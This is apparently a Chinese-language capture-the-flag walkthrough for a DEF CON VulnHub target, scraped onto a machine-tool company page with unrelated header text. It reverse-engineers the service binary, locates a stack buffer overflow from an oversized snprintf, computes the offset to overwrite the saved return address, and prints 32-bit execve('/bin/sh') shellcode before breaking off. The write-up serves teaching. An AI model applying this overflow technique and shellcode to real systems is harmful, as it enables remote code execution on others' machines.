苏州铭亚机床

自动穿丝,中快走丝,线切割,自动换铜管穿孔机

打i靶机

编辑:穿孔机厂家,来源:腾讯视频,浏览量:167,时间:2022-02-21 14:50


打i靶机,带八角窗三层半别墅,待把旧家风景

0x01

前言

DEFCON (也写做 DEF CON、Defcon or DC) 是全球最大的计算机安全会议之一,自1993年6月起,每年在美国内华的拉斯维加斯举办。

DEFCON的与会者主要有计算机安全领域的专家、记者、律师、政府雇员、安全研究员、学生和黑客等对安全领域有兴趣的成员,涉及的领域主要有软件安全、计算机架构、无线电窃听、硬件修改和其他容易受到攻击的信息领域。会议除了有对前沿技术的分享外,还有多种实践项目,如Wargames、最远距离 Wi-Fi 创建比赛、计算机冷却系统比赛等等。

 

今天给大家介绍的是此前Defcon比赛的一个靶机,之后我还会介绍一些其它我玩过的好靶机。

 

0x02

环境配置

靶机下载地址:https://www.vulnhub.com/entry/defcon-ctf-010,160/

 

我使用的是VMware,导入ova文件,NAT方式连接后靶机自动获取IP。

 

攻击机IP:192.168.2.129靶机IP:192.168.2.167

 

 

在kali输入:

nc defcon.local 9999

如果连接正确,会在终端看到如下内容:

Hans Brix? Oh no! Oh, herro. Great to see you again, Hans!

终端在等待输入,我们输入一些信息,比如电影中的这段话:

Mr. Il, I was supposed to be allowed to inspect your palace today and your guards won't let me into certain areas.

终端会回答我们的输入:

Hans Brix says: "Mr. Il, I was supposed to be allowed to inspect your palace today and your guards won't let me into certain areas.

通过这种方法检查连接正确,网络配置完成后进入正题。

0x03

逆向

github下载要使用的二进制文件,并进行反汇编,用到的工具是Binary Ninja,你也可以用自己擅长的工具。

打开之前先看一下这个文件:

kimjong: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), stripped

文件要在x86处理器上运行,是ELF,不会提供我们源代码中变量名称和原始函数的任何信息,需要一点x86汇编基础。

0x04

入口点

当我们用Binary Ninja打开可执行文件时,反汇编程序会找到并显示程序的入口点:

 

 

入口点-start是编译器将代码从main函数开始运行的地方,这个文件只需要在下面找到call -start。

 

 

双击此函数sub_8048a24是由Binary Ninja 标记的,因为调试符号没有告诉我们真实变量信息,会显示main函数:

 

 

前几行和后几行代码设置了函数的堆栈框架,不需要,重点关心下面三个函数调用:

08048a31 680f270000 push 0x270f // "9999" in decimal - our port number!08048a36 e88d010000 call sub_8048bc8 // call function 108048a3b 89c3 mov ebx, eax // move the return value to ebx08048a3d c70424968f0408 mov dword [esp {var_30}], data_8048f96 {"kimjong"} // move pointer to "kimjong" onto stack08048a44 e83b030000 call sub_8048d84 // call function 208048a49 83c408 add esp, 0x8 // make room for 2 DWORDs on the stack08048a4c 68b4890408 push 0x80489b4 // push function address onto stack08048a51 53 push ebx // push function 1 value onto stack08048a52 e8bd020000 call sub_8048d14 // call function 3

0x05

分析程序

我们所关心的实际上是在0x08048A4C处压入堆栈的函数地址,这是sub_8048d14函数的一个参数,查看该函数发现该函数的子进程fork将调用地址:0x080489B4。在Binary Ninja中,我们可以“p”键来告诉它这个地址是一个函数:

 

 

上面就是连接处理程序,这是我们真正要关心的,当我们使用netcat连接到服务时,它会在后台运行,该功能用于处理我们的网络连接,只有3个 基本函数块,接下来我们将一块一块地进行分析。

第一块:

080489b4 55 push ebp // function prologue080489b5 89e5 mov ebp, esp {var_4}080489b7 56 push esi080489b8 53 push ebx080489b9 81ec04020000 sub esp, 0x204 // 0x204 bytes for local variables080489bf 8b7508 mov esi, dword [ebp+0x8 {arg_4}] // sub_8048b44(arg_4, message, 0);080489c2 6a00 push 0x0080489c4 68448f0408 push 0x8048f44 {"Hans Brix? Oh no! Oh, herro. Great to see you again, Hans! "}080489c9 56 push esi080489ca e875010000 call sub_8048b44080489cf 83c410 add esp, 0x10 // clean up the stack080489d2 baffffffff mov edx, 0xffffffff // go to 0x8048a18 if return was -1080489d7 83f8ff cmp eax, 0xffffffff080489da 743c je 0x8048a18

在开头,我们可以看到设置堆栈帧的函数起始点,接下来,我们可以看到程序从堆栈指针(esp)中减去0x204 ,这有效地为堆栈上的0x204字节腾出空间用作局部变量。

然后,看到有一个call sub_8048b44, x86上FreeBSD 的调用约定push是以相反的顺序将所有函数参数传递到堆栈上,这意味着第一个参数中的call在push之前。

我已经对接下来的4条指令sub_8048b44(arg_4, message, 0);进行了反汇编,最后一个push在0x080489C9编辑堆栈中,esi包含了Binary Ninja arg_4在0x080489BF 标记的内容,这实际上是我们回调的第一个函数的值, main作为参数传递给了这个函数。

在调用这个函数之后,我们将调整堆栈指针返回到它应该在的位置并有条件地跳转到另一个地址。地址0x08048A18引用第三个函数块,它从函数中很简单地返回(在使用函数epilogue清除我们之前做的堆栈帧之后):

08048a18 89d0 mov eax, edx // return -1 placed in edx at 0x080489CF08048a1a 8d65f8 lea, esp, [ebp-0x8]08048a1d 5b pop ebx08048a1e 5e pop esi08048a1f c9 leave08048a20 c3 retn

这意味着,如果sub_8048b44返回-1(表示发生错误),我们将跳过第二个函数块中的所有逻辑(如Binary Ninja中的箭头所示),这是一个if声明在汇编中的样子。

这就是第一个和第三个函数块,第二块更有意思:

080489dc 6a00 push 0x0 // recv(arg_4, var_20c, 0x100, 0);080489de 6800010000 push 0x100080489e3 8d9df8fdffff lea ebx, [ebp-0x208] {var_20c}080489e9 53 push ebx080489ea 56 push esi080489eb e850fdffff call recv080489f0 53 push ebx // snprintf(var_10c, 0x12c, format, var_20c);080489f1 68808f0408 push 0x8048f80 {"Hans Brix says: "%s"\n"}080489f6 682c010000 push 0x12c080489fb 8d9df8feffff lea ebx, [ebp-0x108] {var_10c}08048a01 53 push ebx08048a02 e859fdffff call snprintf08048a07 83c41c add esp, 0x1c // clean up the stack08048a0a 6a00 push 0x0 // sub_8048b44(arg_4, var_10c, 0);08048a0c 53 push ebx08048a0d 56 push esi08048a0e e831010000 call sub_8048b4408048a13 ba00000000 mov edx, 0x0 // return a 0 to indicate we executed successfully

在这里,我们将进行3个函数调用。

第一个将从网络接收(recv)到0x100字节var_20c (Binary Ninja的名字ebp-0x208,这是一个位置在堆栈上的0x208字节)。这是程序获得我们输入的地方!

 

第二个函数调用需要我们的输入并用snprintf它来进行不同的格式化,它会将这个新格式化的字符串保存到0x12C字节var_10c(Binary Ninja的名字为 ebp-0x108,它是堆栈中0x108字节的位置),这就是程序建立输出的地方。

第三个函数调用将使用此输出字符串并sub_8048b44再次使用它通过网络发送出去,在此之后,我们转到第三个基本块(如上所示)并从函数返回。

0x06

漏洞

我们已经分析了程序的所有代码,现在我们来寻找漏洞,先看一下这个堆栈:

ebp-0x208 -> var_20c (our input buffer)ebp-0x108 -> var_10c (our output buffer)ebp-0x8 -> ??? (saved value of `ebx` from the calling function)ebp-0x4 -> ??? (saved value of `esi` from the calling function)ebp -> var_4 (the saved stack address for the calling function's stack frame)ebp+0x4 -> ??? (saved value of `eip`, the location we will return to when this function is done)ebp+0x8 -> arg_4 (our socket descriptor)

我们的程序中有两个字符串缓冲区:var_20c和var_10c,这是输入点,它的长度是0x100(256)字节,在0x080489EB,我们recv最多可以将0x100字节存入这个内存位置。

一旦我们有了输入点,我们就可以snprintf将字符串转换成特定的格式,我们采用这个新字符串的0x12C(300)字节并将它们存储到var_10c的输出缓冲区中,这里的问题是我们没有0x12C字节的空间 , 我们只有0x100。任何额外的字节都会覆盖掉堆栈的其他值,这并不是函数功能所期望的,这样就出现了一个缓冲区溢出漏洞。

0x07

漏洞分析

那么,我们如何利用这个漏洞来控制这个程序呢?在x86上最基本的方法是接管eip指令指针,这是处理器将执行的下一条指令的地址,如果我们能够控制这个值,我们可以影响下一个程序的执行位置。

为此,我们需要eip用输入数据覆盖堆栈中保存的值。为了达到这个目的,我们需要:

来自格式字符串的17个字节239个字节发送到缓冲区的末端4个字节来保存clobber ebx4个字节来保存clobber esi4个字节来保存clobber ebp4个字节来保存clobber eip

上面的内容加起来是255个字节,如果我们向服务发送255个“A”字符,它将会试图返回地址0x41414141(“A”的ASCII值),但是我们不希望程序崩溃 -我们的目的是拿到flag!所以,我们需要将程序指向有意义的地方。

这就是漏洞利用最难的地方了,我们要做的是将指针指向我们的输入,当我们这样做时,程序会相信我们的输入实际上是编译代码 ,就像其他可执行文件一样。因此,我们可以提供符合我们需要的新代码——shellcode。

0x08

shellcode

当我们通过我们的输入向可执行文件提供新代码时,这些代码就是“shellcode”,Shellcode实际上只是我们自己编写的程序包,而不是编译器的输出结果,这里有一段shellcode可以让我们在远程系统上运行一个shell:

[bits 32]_start: xor eax, eax push eax push 0x68732f2f ; "//bin/sh" push 0x6e69622f mov ebx, esp push eax push esp push ebx mov al, 0x3b push eax int 0x80 ; execve("/bin/sh", &"/bin/sh", NULL);

这个shellcode只是一个execve 系统调用,系统调用是对内核的直接请求,而不是对系统库或函数的调用,也有一个独立的调用约定 ,这就是我们上面所设置的,具体来说,我们调用AUE_EX

相关推荐: